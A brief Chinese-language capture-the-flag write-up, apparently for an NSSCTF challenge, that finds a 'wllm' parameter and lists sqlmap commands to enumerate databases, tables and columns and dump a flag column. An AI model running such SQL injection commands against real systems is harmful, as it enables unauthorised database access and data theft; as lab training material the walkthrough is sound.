![]()

网址有提示wllm
尝试http://node4.anna.nssctf.cn:28075/?wllm=1

我们尝试sqlmap注入一下
sqlmap -u "http://node4.anna.nssctf.cn:28075/?wllm=1" --dbs

sqlmap -u "http://node4.anna.nssctf.cn:28075/?wllm=1" -D test_db -tables

sqlmap -u "http://node4.anna.nssctf.cn:28075/?wllm=1" -D test_db -T test_tb -columns

sqlmap -u "http://node4.anna.nssctf.cn:28075/?wllm=1" -D test_db -T test_tb -C flag --dump



















